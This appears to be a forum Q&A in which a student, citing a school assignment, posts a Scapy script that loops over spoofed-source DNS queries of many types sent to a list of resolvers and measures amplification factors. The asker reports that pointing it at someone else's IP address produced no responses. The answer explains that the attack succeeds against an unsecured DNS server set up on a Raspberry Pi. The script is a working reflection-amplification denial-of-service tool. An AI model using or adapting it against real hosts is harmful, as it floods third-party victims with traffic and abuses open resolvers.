DNS amplification attack works locally but fails on network

Question

I have a code from https://gist.github.com/thom-s/7b3fcdcb88c0670167ccdd6ebca3c924 that I modified some small things to recreate a DNS amplification attack. This is a school assignment. When I run the script with the IP address of someone else nothing happens in Wireshark, no DNS responses. On my PC in Wireshark the DNS requests are visible. Could it be my internet service provider who blocks it, or is it my program?

The code is as following:

# Imports
from scapy.all import *
from pprint import pprint
import operator

# Parameters
interface = "eth0"  # Interface you want to use
dns_source = "local-ip"  # IP of that interface
dns_destination = ["ip1", "ip2", "ip3"]  # List of DNS Server IPs

time_to_live = 128  # IP TTL
query_name = "google.com"  # DNS Query Name
query_type = ["ANY", "A", "AAAA", "CNAME", "MX", "NS", "PTR", "CERT", "SRV", "TXT", "SOA"]  # DNS Query Types

# Initialise variables
results = []
packet_number = 0

for i in range(1000):
# Loop through all query types then all DNS servers
    for i in range(0, len(query_type)):
        for j in range(0, len(dns_destination)):
            packet_number += 1

            # Craft the DNS query packet with scapy
            packet = IP(
                src=dns_source, dst=dns_destination[j], ttl=time_to_live) / UDP() / DNS(rd=1,
                qd=DNSQR(qname=query_name,
                qtype=query_type[
                i]))

            # Sending the packet
            try:
                query = sr1(packet, iface=interface, verbose=False, timeout=0.01)
                print("Packet #{} sent!".format(packet_number))
            except:
                print("Error sending packet #{}".format(packet_number))

            # Creating dictionary with received information
            try:
                result_dict = {
                    'dns_destination': dns_destination[j],
                    'query_type': query_type[i],
                    'query_size': len(packet),
                    'response_size': len(query),
                    'amplification_factor': (len(query) / len(packet)),
                    'packet_number': packet_number
                }
                results.append(result_dict)
            except:
                pass

# Sort dictionary by the amplification factor
results.sort(key=operator.itemgetter('amplification_factor'), reverse=True)

# Print results
pprint(results)

We tried a hotspot and other networks, we messed around with the IP addresses. Nothing worked. We tried different versions of this code but the same principle, nothing worked.

Answer 1

We have solved the problem. You need your own unprotected network and an unprotected DNS server. We used a raspberry pi to make a unsecured DNS server and if we sent the DNS queries we got a response on the spoofed ip address. The code we used is still this one from above.